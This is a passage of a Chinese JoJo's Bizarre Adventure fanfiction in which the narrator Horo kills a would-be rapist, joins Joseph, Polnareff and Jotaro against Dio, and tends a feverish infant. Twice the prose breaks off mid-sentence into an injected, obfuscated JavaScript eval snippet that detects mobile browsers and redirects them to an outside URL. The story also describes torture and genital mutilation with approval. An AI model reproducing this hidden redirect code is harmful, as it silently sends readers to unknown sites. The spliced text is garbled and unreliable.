因为没拦到车,我只好走路去,反正也走不了多远,就当锻炼身体了。 霍洛这身体在普通人里还可以,在替身使者里面就不够看了,我得多锻炼了。按照我之前两次经验,JOJO们身边一定会有危险啊! 不过按照年份来看,该不会这次的JOJO是那个空条承太郎吧,他以前住美国还是住日本…… 早知道我会沦落今天这样的局面,在仗助跟我讲空条承太郎的时候,我就认真听了,烦。 我对这个男人不了解,唯一的印象就是他以为霍洛是我父亲,帮了我点忙,人比较靠谱,把他们的沙漠合影给了我,还有他身材很辣。 不过既然有合影,也就是说我迟早会遇到他对吧?那我不急了。 我慢悠悠地走在法国的乡村小道上。 这个地方真是安静和平啊,自从去了意大利接触黑手党后,我有多久没接触这样的平静的生活了。尤其是最近几天的经历,要是详细写,感觉够我写十本书了! 我边哼着“country roads,t ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308085|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ake me home”边悠哉悠哉地在这个小路上散步。 哈哈要是每天都这样就好了,不会突然在面包店遇到变态连环杀人犯或者黑手党的日子真好。 这里没有面包店,应该不会触发奇怪的“面包店奇妙冒险”的buff吧?哈哈哈哈哈哈。 就当我喜滋滋地没头没脑地哈哈哈哈的时候,一声尖锐的女高音“啊啊啊啊啊!”打破了我本来平静美好的悠闲心情。 …… 不是吧? 我身上是有什么奇怪的设定存在吗?该不会是岸边露伴那家伙为了多点取材机会,在我的设定里悄悄写上“容易遇到各种事故现场”的奇怪设定吧! 如果说我刚刚还有那么一点“悲愤”在心中,那么现在看到眼前所见所景的我,心里面只有熊熊燃烧的怒火了。 一个胸前被重伤流了大片鲜血的女孩倒在地上抽搐着,而不远处的草丛里—— 一个长相丑陋无比的男人正趴在一个少女身上,试图侵犯她。 那个男人头型不规整,像在娘胎里被人揍过一样,五官畸形像是一坨烂泥,堆叠起的皱巴巴的皮肤让人联想到了垃圾桶里的被污水粘着的黑色塑料袋。尤其是他那面带猥琐,摧毁,以欺凌弱小施虐为乐的面庞,我感觉我看了一眼连隔夜饭都要吐出来了。 那个东西简直就是个从臭水沟里扒拉出来的比老鼠屎还要下贱的东西。 我静静地走过去,然后一脚踹在他的脸上,把他踹飞了几米远。 他揉着被我踹变形的脸,吐出了几颗沾血的带着黑斑的黄牙:“你在做什么?想英雄救美吗?” “你竟然还能说话?”我把鞋底在地上摩擦了几下,“看来我踹得还不够用力。” “我最讨厌的就是你们这种看上去道貌岸然的小白脸了……不过只要有我的[倒吊人]在,无论是你,还是那些厌恶我的女人都只能任我摆布!”那个丑陋的男人用他恶毒的眼神看着我,“我要把你碎尸!然后把你的gg拿去喂狗!” 是替身使者?我没有多做犹豫,直接叫出了约旦河。约旦河的手变形成麻绳缠住他,那家伙伸出手试图挣扎而出,我这才发现这个人渣还长着双畸形的手,他两双手都是右手。 他的速度真慢啊,如果是迪亚波罗或者吉良吉影可能就会躲过刚刚那下了,还是说他以为自己很强,所以轻敌了?不过这都不重要,反正他接下来死路一条。 没等他反应过来,我立刻拿剑划破了他的喉咙,砍下了他的双手和双脚。我没有直接杀死他,特意留了他一口气。 重度受伤的情况下,除非意志过于强大,大概都会失去使用替身的能力。我对这种下三滥的人渣很有信心,他们不会有什么如钢铁般的意志的。 那个男人张张嘴,似乎想要说些什么,但我不想听这个男人难听至极的嗓音了,再多听一秒钟我就要吐了:“我本来是想把你直接弄死的,但我觉得这样太便宜你了,揍你几顿也不够舒服……果然,在死亡之前,你必须得到更严苛的处罚才行。” 我说着拔出了刀,指着他的第三条腿,“对你们这种□□犯,果然应该把作案工具给弄碎才行。” “……不,离我远点,不!”他想逃,但现在他被我的约旦河紧箍着,怎么可能逃的掉,更何况他也逃不了了,一个没有双手双脚的快要死掉的人怎么逃。 我很仁慈地没有让他慢慢爬行然后在绝望中等死,而是让他看着自己的屌被剁碎后痛苦地被杀死了。 让微生物分解他身上的有机物,这或许是这个人渣唯一能为这个世界做的好事。 我看向一旁呆愣地看着我处置人渣的少女:“在那看什么?先说好,你报警没用的,我很擅长毁尸灭迹……” “先生,请问您叫什么名字?”少女看上去神色很恍惚,似乎还没有从劫难中逃生的真实感,“我,我叫雪莉!我没有恶意,只是想要……” 她看上去被吓坏了。也是,无论是刚刚那个男人把她的好友穿胸然后想要性侵她的举动,还是我把那个畜生虐杀的场面。在这个看不见替身的普通女孩眼里都足够吓人了。 但我可不会反思的,我可是黑手党,我采取这种手段已经够仁慈了好吧! “我的名字是霍洛.阿埃尔。”我看着她泛白的双唇,蹲下去帮她理了理凌乱的头发,和她那双闪着泪光的灰色眼睛相视,微微一笑。 “你家离这里远吗?你要去哪,如果顺路,我可以送你一段。” “不过在那之前,得先送你的朋友去医院。” 34.旧友重逢,但不相认 我的原计划是送雪莉重伤的朋友去医院后,我就直接前去参加葬礼的。虽然霍洛对他父母的感情很复杂,他原计划是不打算去葬礼的,但毕竟他不是完全的我,所以我对他父母没啥想法,去参加下葬意思一下算了。 但可能是因为做了两年黑手党,习惯了拿热情的名号解决一切麻烦事。 在被医护人员拦下时,他们质问我这个女孩究竟发生了什么,我熟练地回答他们:“我是热情的人。” 医护人员用看神经病的眼神看着我:“所以这个可怜的女孩到底经历了什么!” 我这才缓过神来。首先这不是意大利,其次现在才1987年,最后我真的编不出来这个女孩胸口大洞是怎么回事。 ……哦豁。 在雪莉的“他不是坏人,他救了我”的阻拦和警察的“这还是得等我们审问出详细情况再下决定”的嘈杂的争吵声,我开始思考我现在用替身逃跑会被通缉吗? 肯定会,但是我如果直接说是我杀死了那个混蛋,我也会面临牢狱之灾吧。何况那个混蛋已经被我毁尸灭迹了。 要不然就一口咬死我也不知道是什么回事? 我有些纠结要选择哪个,理性上我倾向于先跟着警察去警局,感性上我倾向于直接逃逸。 最后我选择不反抗,因为我知道:最后我一定会和空条承太郎相遇的。也许去监狱就是和他相遇,说不定他也在蹲局子呢哈哈哈哈。 无论如何,我只要找到了JOJO应该要不了太久就可以回到原本的世界了。虽然我拥有这具身体在这个世界的所有记忆和情感,但我更认同的是作为“蕾娜塔”的我。 肯定“蕾娜塔”是主要人生这是必须的,否则我会一直纠结于“我到底是谁”这种意义不大还会让一直使我困扰的问题。相比那些掌握了永恒的存在,人的一生太过短暂了。而我的有限的生命是来体验和享乐的,不是拿来纠结人生问题。 在我顺从地让警察为我戴上手铐的时候,一双较大的手掌突然抓住了警察的手腕:“先生,他救了我妹妹,请让我先感谢他吧!” 我顺着那双手,看到了一张年轻而英俊的面庞,他身体健全,没有瞎掉一只眼,也没有皱纹……是年轻版的银色灌木丛? 他就是雪莉的哥哥? 这么巧? ……我觉得我的人生指定有什么剧本。 否则为什么我随便发善心救下的小姑娘的哥哥竟然就是那个银色灌木丛啊! 银色灌木丛似乎叫什么J.P.波鲁……啥的,名字有点长,懒得记,总之先叫他波波。 这个波波,和我之前见到的那个银色灌木丛完全不同。首先是外观,这个波波身体健全,眼睛也是完完整整的两只,皮肤看上去□□弹弹的,富有胶原蛋白,腿脚特别利索。 然后是精气神,记忆里的那个波波虽然看着也不算颓废,但浑身上下就是有一种孤独和沉寂感,仿佛他下定决心要牺牲自己去成就什么大业一样。就算他下一秒突然噶了,我也不意外。这个波波精气神好极了,活蹦乱跳的,感觉还能再活一百年。 最后是性格。这个波波情绪要更外露一些。他在看到雪莉的朋友的惨状,听到雪莉描述的故事后,眼柱子马上就掉出了眼泪,紧紧地抱住雪莉,顺着雪莉的头发轻轻拍着,然后呢喃着“哦雪莉”“妹妹啊”“我不敢相信……”“要是……我一定会……”诸如此类的话。 但是看他抱着死里逃生的妹妹痛哭流涕的样子,挺满足我这个“救人者”的虚荣心的。 嘿,如果不是我,他就只能得到一个破破烂烂的妹妹了,然后他的人生也会彻底缺掉一块的,从今往后他或许都会活在那块阴影里了。 果然,就算我杀了人,我也是个超级棒的顶天好的大善人呢! 我简直就是黄金精神的代表啊! 我很乐意看波波抱着他妹妹痛哭,不代表我乐意波波过来用同样感恩的方式来感谢我。 他双眼通红,挺着腰站在我面前:“我——” “哎,打住。”我伸出食指左右晃了晃,“口头的感谢就没必要了,我心领了,来点实际的吧。” 他愣了一下,然后马上摆正神色:“你帮了我这么大的忙……请尽管开口!” 我在警察的审视里,靠近他悄声说:“那麻烦你找一下spw集团的人,说有一位替身使者希望见到乔瑟夫乔斯达,他是妮可的亲戚,他想知道关于妮可的事。” 说完,我没有管他,跟着警察坐上了警车。 自从融合完全后,我的前两次与JOJO一起展开的奇妙冒险的记忆也变得清晰起来。如果说之前的记忆就跟部电影差不多,那么现在我才真的感觉我确实拥有了那样的人生。 于是我就发现,原来JOJO不是JOJO啊! 呸,我的意思是,那两次JOJO不是同一个人啊!他们一个叫乔纳森,一个叫乔瑟夫……我说你们这家人为什么要取这么相似的名字啊,还长的这么像,害得我以为是同一个人。 扯远了。总之,妮可是我和乔瑟夫相识的身份,那个身份的结局是被杀死了。 希望乔瑟夫那家伙看在死去的战友的份上,愿意来帮我搭把手。 如果他没来,我发誓我将以惨死的妮可的名字诅咒他一辈子,诅咒他晚年变成那种连吃喝拉撒都不能自理的废物老人。 * 次日,我就在spw集团的干涉下很快离开了警局。 怎么这么快啊!我感觉我在里面连24小时都没有待够。 呵,财阀的力量就是大啊……所以东方仗助那小子为什么每次都在跟我哭穷让我请他吃冰淇淋?找他家里人要点钱不行吗!这么说起来,我似乎从未见过他父亲…… 接我离开警局的是spw集团的工作成员,并不是乔瑟夫。 哦还有一个人,是波波。 波波看到我就马上说:“你也是替身使者?” 我假装高冷:“嗯。” 波波神色严肃:“那个……混蛋也是替身使者,对吗?” “没错。我解决他费了好大的劲。”其实没花多少时间,这家伙在吉良吉影迪亚波罗那些人眼前一点也不够看。我这么说只是想看看波波有没有什么表示。 果然,他的神情在愤怒和庆幸中来回切换。我猜他刚刚是在试想如果他妹妹没有被我救下会遭遇什么,然后他吐出一口浊气:“我真的很感激你,雪莉是我最重要的人,如果她出了意外,我真的无法想象……” “打住。”我瞥了眼spw集团的人,眼神示意他避开点我们说话,然后看着波波挑挑眉:“说再多话我也感受不到你的诚意,如果你真的觉得我是你的恩人,想要报答我的话,现在有个大好机会。” “出于某些原因,我在寻找JOJO。如果我找到了JOJO,很有可能会开启一场较为危险的冒险,如果你愿意帮助我,那就算是帮我忙了。” “JO……JOJO?”波波恍然大悟:“那个乔瑟夫.乔斯达……” “不,波波,他是上个JOJO里。我这次找的JOJO全名是——” “空条承太郎。” 波波点点头,迟疑了零点几秒,还是问:“你是哪个国家的人 ?” “英法意三国混血。”霍洛是法国人,我是意大利人,妮可和格蕾丝都是英国人。融合完全后,我就是英法意三国混血没问题。 波波一副难受的表情:“那你为什么才认识就叫我波波啊!我没听说英国或者意大利有……”额不会是男人之间这样称呼对方会很奇怪吧,但是大家 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乔瑟夫一看到我,双眼闪着泪光:“omg!你和妮可简直就是一个模样刻出来的,你是她的孙子吗!她之前从未跟我们说起过,西撒知道这件事吗?该不会……” 他似乎想到了什么,但又碍于我就在他面前,也可能是因为他脑补的都是不正经的内容,他只是低呼:“哦不,这就是她能干出来的事啊。” “……” 乔瑟夫乔斯达你个混蛋,不要给我脑补出一整部狗血剧啊!你年纪大了没事干,只好整天看肥皂剧是不是啊! 我忍着脑门处不断跳动的青筋:“我的外婆是妮可的妹妹,我不是她的孙子。只是听外婆讲起过她。” 本来想直接跟乔瑟夫摊牌说我就是妮可的。但一来解释起来好像很麻烦,二来我用脚趾头想都知道乔瑟夫这个混蛋脑补了些什么,我一点也不想和他旧友重逢了! 乔瑟夫擦了擦眼角的眼泪:“哦……你外婆……” “死了。我爸妈也死了。我是从他们的信件里知道关于妮可的事的……”眼看着话题马上就要扯到过去上了,我立刻转移话题,“我之所以联系你,是想知道最近你是否需要帮助……因为我占卜到了命运的轨迹。” 老实说我真的没想到有一天我会拿命运当做借口,但拿这招来糊弄乔瑟夫很合适,我继续说:“我占卜到你最近遇上了麻烦,而在这之后我和你的命运便汇聚在了一起,如同几十年前的妮可和你们一样…….” “不行。”乔瑟夫立刻打断我,面露难色,“即便是这样,我也不能随意将挚友的血脉拉上危险的道路!何况你没有替身……” 我刚沉寂下来的心马上飞跃了起来:“我也是替身使者!如果你是担心我没有那个能力的话,请放心,我的替身约旦河也非常强大!” 乔瑟夫震惊地看着我的替身约旦河显现出来,咳了一声,然后说:“好吧,霍洛。但我需要告诉你,我们所面临的敌人非常强大……” 呵,不管再强,那个家伙宿命只有成为我的的手下败将。 “……他的名字是迪奥……” ? 等等。 谁? “你刚刚说什么。”我不顾乔瑟夫现在是个老头子,直接抓着他的胳膊就立刻质问他。 “呼!轻点啊……你这小伙子怎么力气这么大!轻点啊!” 我稍微松了点力:“你说的那个敌人,他叫什么?” “啊,他叫迪奥啊。” “这个迪奥该不会是那个全名是迪奥.布兰度的金发吸血鬼吧?” “当然是他了 。”乔瑟夫看我脸色不对劲,正色问:“你还好吗?” 我恍惚了一下,马上咬牙回答:“哦,我好的不得了。” 好的现在就想瞬移到那家伙面前然后揍飞他。 35.第 35 章 因为那该死的命运必然性与相似性,我知道击败迪奥的征途一定得有空条承太郎的参与,而那或许也是我回去的必要条件。 但是无论我如何侧面敲击关于他外孙的事,乔瑟夫至始至终都只有一句话: “我外孙又不像我,他没觉醒替身能力能派上什么用,还是别牵扯他进来了!” 我敢说他察觉到了我的意图,因为这家伙脑子灵光着呢!他大脑皮层全是褶皱一点也不光滑。 可恶啊,我要给他大脑皮层上点润滑油,给我变光滑平整啊! 无论我拐着弯说,还是明着说,乔瑟夫始终坚持就我们几个寻找迪奥就足够了,不要牵扯过多的人。 结果没过多久,他就接到了来自他女儿的一通神秘电话。 从我偷听到的情况来看,他外孙,东方仗助那小子口中“超级厉害无敌的”他超级崇拜的空条承太郎,似乎觉醒了替身,但他以为这是恶灵,现在正把自己关在监狱里,于是他妈妈来求助乔瑟夫了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈…… 说起来,我和空条承太郎上次见面还是1999年。不过才两年,就发生了这么多事啊…… 那时我还以为1999年会是我人生中最灾难的一年,结果自那之后每一年都比之前更加多灾多难。 唉这操蛋的人生。我恨你。 那年我十七岁,还在杜王町做普通女子高中生。在那时的我看来,这个男人非常的成熟稳重,偶尔我也听到一些人私下里讨论这个来旅行的空条博士“真是个神秘而充满魅力的男人~让人欲罢不能~”,东方仗助满口夸赞的男人…… 总而言之,是个经典魅力熟男。 哈哈哈哈哈结果他年轻时哈哈哈哈哈哈以为他的替身是恶灵哈哈哈哈哈哈还把自己关进了监狱不出来哈哈哈哈哈哈哈。 这事要是发生在了东方仗助身上,我高低笑他十年哈哈哈哈哈哈…… “喂,霍洛,有这么好笑吗?”波鲁那雷夫看着因为马上要到监狱去捞人又忍不住大笑的我,故意问道:“这可是乔斯达先生的外孙,你好歹尊重一点吧!” 他嘴上这么说,其实在知道这条消息的时候他笑的可大声了。 “波波,你不懂。”我故作深沉地说完后,想到了空条承太郎一脸严肃地把沙漠合照递给我时的情景,又笑了。 要是他认识十几年后的空条承太郎,我敢打赌,他会笑的比我还大声。 哎不行,等我回去了,我一定要把这个故事告诉东方仗助。 乔瑟夫刚刚还在看着我哈哈大笑,下一秒看到警局大门又立刻装出一副可靠的样子:“霍洛,等会进去后就不要一直笑他了,这个年纪的孩子还在叛逆期,要面子的。” “噗。” 他不说“孩子”和“叛逆期”还好,他一说,我就更想笑了。 不过这个时候的空条承太郎原来还在读高中吗?男子高中生啊…… 事先说明,我不是偏见,只是根据我三年和男子高中生打过的交道来看:男子高中生都是狗屎! 当我看到那个跟个大爷一样躺在监狱里,对着他看上去超温柔的妈妈说:“吵死了臭婆娘!”的不良少年时,我就知道,我说的没错。 男子高中生果然都是狗屎! * “啧,火焰鸟,你看他那拽样。”我拉了拉阿布德尔的衣服,准备听听看这个看上去特别老实的人能说出啥金句。 阿布德尔,据说和乔瑟夫在埃及相识,和我一样是自愿加入寻找迪奥队伍的。但我对他没什么了解,只知道他是个占卜师,还对我说“你的替身名字取的很好”。 ……就是因为他夸了约旦河我才不想和他说话。 他很认真地回答我:“霍洛,我的名字是阿布德尔,不是火焰鸟。” “我在开玩笑,这是给你取的昵称,你那么认真干嘛。” 说完我就溜到空条承太郎的妈妈,乔瑟夫和丝吉Q的女儿——荷莉旁边去了。 我凑到她身边:“姐姐,有这样的儿子一定很烦恼吧?” “哎呀,承太郎是个好孩子呢!只是他看着不好相处而已。”荷莉捂着脸咯咯笑,“你叫霍洛对吧,你多少岁啦?看上去年纪和承太郎差不多大呢。” “21岁了。我之前在医学院读书呢。” “哇,完全看不出来你比承太郎年纪大唉,承太郎都该叫你哥哥。” “哈哈哈哈哈哈哈哈哈哈哈哈,不要啦,我都叫你姐姐了,按理说承太郎也该叫我叔叔。” 我要偷偷加辈分。 话说空条承太郎到底是东方仗助的叔叔还是表哥还是舅舅啊,我不记得仗助跟我说过这事。 “哎哟,你说什么呢,叫我太太就好了。不过霍洛也看得见那些恶灵吗?” “当然,我也有哦。不过我的替身长的比较丑,就不让它出来了,我怕吓到荷莉姐姐。” 荷莉马上抓住了关键词,立刻问我替身是什么。 哇咔咔,我当然要和她好好讲讲了。和她讲的途中,我还把我在意大利的经历改编了一下,给她讲了“意大利奇妙冒险”。 不得不说啊,荷莉简直是个好听众。她在听我讲那些穷凶极恶的意大利黑手党时,还时不时附上应景的感叹声和丰富多彩的表情。 大概是荷莉津津有味听我讲长篇故事的神情吸引到了警察的好奇心,他们也凑过来想听我讲故事。 我当然同意啦!越多人知道我曾经的故事越好!这可是显现我超凡实力的魅力时刻! 在我得意地讲述关于我的冒险时,乔瑟夫劝说承太郎无果,只能回头寻求我们的帮助。 显然我没空,我在吹牛呢。 他将目光放在了阿布德尔身上:“阿布德尔,拜托你了。” 阿布德尔点点头,就走上前去。 然后我就听到了空条承太郎不屑的声音:“老头子,你指望这个丑男和那个吵个不停的娘炮……” 后面的话我没听了,因为我有点没反应过来。 ……他在说什么? …… 丑男和……吵个不停的娘炮? 丑男肯定不是我,那就是火焰鸟……火焰鸟怎么你了,你难道很帅…… 哦,他确实很帅。 但火焰鸟也不丑啊,只是看上去呆呆的。火焰鸟惹谁了,火焰鸟没惹任何人啊。 还有他那个吵个不停的娘炮是指我? 不是。 我惹谁了?我就多说了几句话而已,我惹谁了。我就长的雄雌莫辨美的惊天动地泣鬼神我怎么了。怎么在监狱里拉不了屎就满嘴放屁啊。 “哎呀霍洛,”荷莉马上拉住蠢蠢欲动的我,“你不要生那孩子的气啦,他就是那样的。每次他出门表面上不想要妈妈的送别亲亲,其实内心还是很期盼的。” 我做了几个深呼吸,笑眯眯地看向荷莉:“不管他啦,我给你们换个故事吧。是我在美国遇到的一个连环杀人犯,他每杀一个人就会留下他们的手,因为……” * 在荷莉的盛情邀请下,我住进了空条宅。 这段时间以来,我们一直都跟着乔瑟夫住,spw集团承包了所有旅途的费用,我对直接住进他们家没有丝毫客气。 所以说东方仗助家里这么有钱,为什么还要每天跟我哭穷? 因为空房间够多,我不用和波鲁那雷夫一起住,也不用跟着他的作息啦! 于是我第二天睡到了下午,当我起来,波鲁那雷夫就说:“你怎么睡这么久?” 拜托,要是让他体验一下连着一周多都在为了黑手党任务奔波,一次舒服的床都没碰过。然后来到了另外一具身体里,又不停到处跑,还要跟着一个睡眠时间超短的室友的作息,他也会一不小心就睡这么久的! 我一把推开他,打开冰箱开始觅食。 “空条在学校里被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323589|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪奥的手下袭击了,他把那家伙弄昏了,带了回来。那家伙似乎被迪奥植入了肉芽,所以……” 在我嚼着三明治的火腿时,波鲁那雷夫可能是闲的没事,就跟我唠嗑起刚刚他看到的场景,他说完感叹了一句:“看不出来空条原来是个这么善良的人啊。而且他的替身实在太厉害了!那个速度和精度……” “唉唉唉,打住。”我很严肃地看着波鲁那雷夫,“波波,你就说吧,是我更厉害,还是Q太郎更厉害?” “Q太郎不会是指空条承太郎吧?”波鲁那雷夫忍不住吐槽。 “嗯,我感觉他挺适合这个名字的……哟,Q太郎,我们刚刚才说到你呢!我剩了点面包边,你想不想吃?” 刚拉开门的空条承太郎拉了拉他的帽子:“真是够了。” 我马上开始模仿他,只是我扯的不是帽子是我的一根发丝:“呀勒呀勒。” “噗哈哈哈。” 在空条承太郎的审视里,我把面包边塞进嘴里:“我吃饱啦!我要去周围溜达溜达消食,波波你也和我一起。” 波鲁那雷夫试图拒绝我,但是他的拒绝是无用的! 所以他现在正在陪我在城里闲逛,但他还是忍不住抱怨:“所以为什么你散步还要人陪,你又不是小孩子。” “因为我需要有人帮我付关东煮的钱,还有帮我记住回去的路。”我说着吃了口萝卜。 波鲁那雷夫突然沉默了。 我惊恐地看向他:“你不会没带钱也没记住路线吧?” “额,要不然你在这里等一等,我去……” 我立刻扯住他的衣服:“别想把我一个人丢在关东煮店,我数三二一,我们一起跑,老板追不过来的!三——” “这也太没道德了吧!” “二——” “喂,你来真的啊!” 我立刻向外跑:“一,跑!” 波鲁那雷夫面容扭曲地跟在我后面跑:“你刚刚绝对抢跑了吧!”他身后是骂骂咧咧的店家。 对不起,店长,但是做生意就是会经历一些波折嘛。 我跑着跑着,波鲁那雷夫就给我甩到了身后。等等,我找不到他了,他该不会被一身腱子肉的店长给抓住了吧…… 算了,为他默哀一秒钟。 我环顾四周,有点陌生又有点熟悉的街道……怎么感觉这些街道都长的一模一样啊! 我找不到回空条宅的路,一时有些着急,然后我就撞倒了一个婴儿车…… ?婴儿车! 我立刻刹住脚,没听到婴儿的哭声,我偷偷看了眼坐在一旁凳子那沉睡的阿姨,抱着侥幸的心思把那个倒在地上的婴儿车的篷子掀开—— 这里面真的有婴儿啊啊啊啊啊啊啊啊啊啊啊啊! 但是他被我一把连车带人撞倒在了地上为什么都不哭一下? 此刻我感觉我的耳朵边里面有一个恶魔小人和天使小人在吵架。 天使小人说:“你应该把那个阿姨叫醒说很抱歉撞到了你的孩子,他看上去好像摔傻了,如果需要赔偿……” 恶魔小人马上把天使小人推开:“不,你把车扶起来然后走开就行了!要是这孩子真被弄傻了也是他的命!这是大自然的优胜劣汰法则!” 天使小人:“你读过书吗?优胜劣汰……” 恶魔小人:“你想被一个低智儿拖累吗,你这个……” 在我感觉这俩要打起来的时候,车里的婴儿怯生生地站起来:“姐姐,你可以把车扶起来吗?” 他有着一双碧绿的双眼,乌黑的短发,看上去还有点面熟…… 等等,他看上去只有一岁左右,他怎么说这一长串的话的? “你原来不是低智儿啊……”我刚说出口就后悔了,立刻住嘴把车子扶起来,然后说:“我是哥哥,不是姐姐。” “对不起,哥哥。”他低下头,“可以把我放回去吗?我不能给阿姨添麻烦。” ……连这个年纪的小孩都这么有礼貌。空条承太郎你学一下。 36.牛头人啊恶俗啊 我抱起那孩子时,那件对他来说有些宽松的陈旧上衣往下滑了点,使他的肩膀露出来了。 他白嫩嫩的皮肤很凉,团子般软乎乎的脸蛋有些发红,两只肉乎乎的爪子不安地紧紧抓住我结实的手臂,一头毛茸茸的锅盖头轻轻靠在我的胸口,有些痒。 即便是一向唾弃小孩的我,面对这个小团子也不得不说一句: 哇,真萌啊。 今天天气并不算温暖,就算是穿着卫衣的我依然觉得有些冷,我想他一定也很冷,他的手脚比我的还要冰凉。 听说人类幼崽是很脆弱的生物,一场发烧就可以要了他们的命。而生物对弱小的生命总会不自觉产生保护欲,这是本性……或许这可以解释我为什么会良心不安。 我把那孩子放到婴儿车内,伸出手为他整理了衣物,然后我就看到了他肩上的五角星胎记。 我记得这是乔斯达家族的象征,便惊喜地看着这个年纪只有一岁左右的小孩,从约旦河那里掏出一条棉被给他盖上:“你的名字不会是东方仗助吧?” 那孩子轻轻摇了摇头,不吭声,绿色的眼睛瞪圆了。 ……还以为中奖了竟然遇到仗助那小子的婴儿版,我还准备掐掐他屁股呢。 如果不是东方仗助,那该不会是……我看着这孩子明显的混血面容,和那双漂亮的绿眼睛,略微迟疑问:“你的名字是乔鲁诺吗?” 那孩子又摇摇头,轻声说:“汐华初流乃。” 我过了一会才反应过来这是他……哦应该是她的名字。如果不是这个女性化倾向的名字,我都没反应过来原来这是个小女孩。她剪个锅盖头干什么,这样看上去像那种傻乎乎流鼻涕的呆呆小学男生啊。 汐华初流乃……没听说过这家伙的名字,该不会是私生女之类的存在吧? 既然不认识,那就不掐她屁股了。 我问她:“那是你妈妈吗?”我指着那个一直昏睡的阿姨。 “她是妈妈找来的照顾我的阿姨。” “哇,那你得告诉你妈这个阿姨很不靠谱了。她怎么能带你出来然后把你一个人甩这,自己去睡大觉呢。你才这么大点,人贩子两根手指提起你就可以跑……” 看着那孩子难以掩饰的有些害怕的神情,我马上住嘴了,环顾了一下四周,然后从约旦河那里掏出一个章鱼小玩偶,这是我之前夹娃娃夹到的。 我塞到她婴儿车里:“别怕,送你一个玩偶当护身符。你没问题的话,姐……哥哥赶路,先走了。” 她没说话只是看着我,抱着我放进来的章鱼玩偶。我注意到她总是不自觉地咬着手指,似乎想要观察我的神情来推断我的想法…… 这孩子看上去心理状态有点问题啊。 不对,她脸蛋怎么这么红,不可能是被我的英俊潇洒给迷住了吧? 我感觉有些不对劲,把那一旁沉睡的阿姨摇醒:“你孩子是不是发烧了?” 我本来只是客套问问。 结果这孩子真发烧了! 阿姨故作苦恼地说:“可是那孩子的妈妈没给我多少钱啊,我没钱送他去医院了。” “……”我看着婴儿车里的小孩,她一脸“没事的,不用管我,我没有问题”,一副故作坚强的乖巧模样。 在那双绿色的水汪汪的眼睛注视下,我能有什么办法? 所以我送她去医院了,还垫付了所有钱…… 我下次一定要把我无处可放的好心给丢掉! * 当我离开医院时,已经是第二天了。因为无人照看那孩子,我在医院呆了一晚,还和那孩子的妈妈见面了。 初流乃在保姆离开后,问我是不是以后就来照顾她了,她说这话时眼睛亮闪闪的。 我能理解小孩子喜欢漂亮的人,但是她吃的也太差了吧。就我这照顾水平来看,要不是初流乃天赋异鼎,她就要被我折腾死了。 我还是有点自知之明的。所以我很坚决地告诉她:“不,我只是个好人,比较爱护未成年儿童。等你妈妈来了,我就走了。” 初流乃有些失望,但她很快藏起了她的情绪,眨巴着大眼睛又问我:“那我以后还可以见到姐……哥哥吗?” 我语重心长地说:“你好好长大,多吃点,长到一米八,我就来见你了。” 她非常认真地点点头。 我差点没憋住笑。 笑死,就她现在这个小布丁样,一米八?能长一米七就不错了。 好骗的小朋友就是讨喜啊!所以我默默准许她想蜷缩在我怀里的意图。 当然主要还是因为她有点萌,没人能够拒绝萌物主动一点点靠过来吧! 初流乃估计很少跟大人说话,那个晚上她脸蛋烧的通红,一双绿眼睛都给烧迷糊了,还要坚持不懈地和我说一些很没意思的话题。 后面她说着说着终于昏睡过去了,等到她妈妈来,我直接把在睡梦里不知道梦到了什么开始咬手指的初流乃还给她亲妈,离开了医院。 毕竟我没那么多功夫多管闲事了。 在我坚持不懈问路的努力之下,我找到了回空条宅的路。 一回到空条宅,我就被波鲁那雷夫逮住。他满脸不可置信:“你把我丢给那个壮汉后去哪里鬼混了?阿布德尔跟我说,你出门的时候带了钱包走的!” 我心虚地瞟向一边:“……我去做好事了。” “哈?我真的搞不懂你在说什么,你为什么死活不肯付钱!你知道那个壮汉有多吓人吗……” “不听不听,波波在乱说话。” “你知不知道那个关东煮老板差点把我沉到东京湾了啊?你往哪跑!你这个没良心的——” “我知道错啦!下次也不改,哦下次会改的!” “喂!你刚刚一不小心说出了真实想法吧?那绝对是你的真实想法!迫害我很好玩吗?这是第几次了!站住啊 !可恶!混蛋霍洛!” 波鲁那雷夫被我气死了。但是显然情况容不得他继续找我算账。因为荷莉出事了……具体原因我没听,总之乔瑟夫终于下定决心要出发去找迪奥了,还带着空条承太郎! 而且他们还发现了迪奥可能在的位置! 好耶!迪奥我来啦! 我喜冲冲地把行李一股脑全部丢给约旦河,两手空空跟着阿布德尔跑到了门口。 这时,一个个子不算高的少年走了过来,他有着一头红色微卷发,留着一撮造型独特的刘海,五官清秀,就是有点忧郁,配上他额头缠绕的绷带,有点像个失忆的孤僻少年。 阿布德尔看向我:“霍洛,这是花京院典明,他也要加入我们这次讨伐迪奥的行动……” 我没管阿布德尔,冲过去一把握住花京院的手:“小花你好,叫我霍洛就行。” 他愣了一下,还是回握祝我的手:“小花是……?” 空条承太郎突然出现在我们身后:“花京院,你不用管那家伙。那家伙有点毛病。” 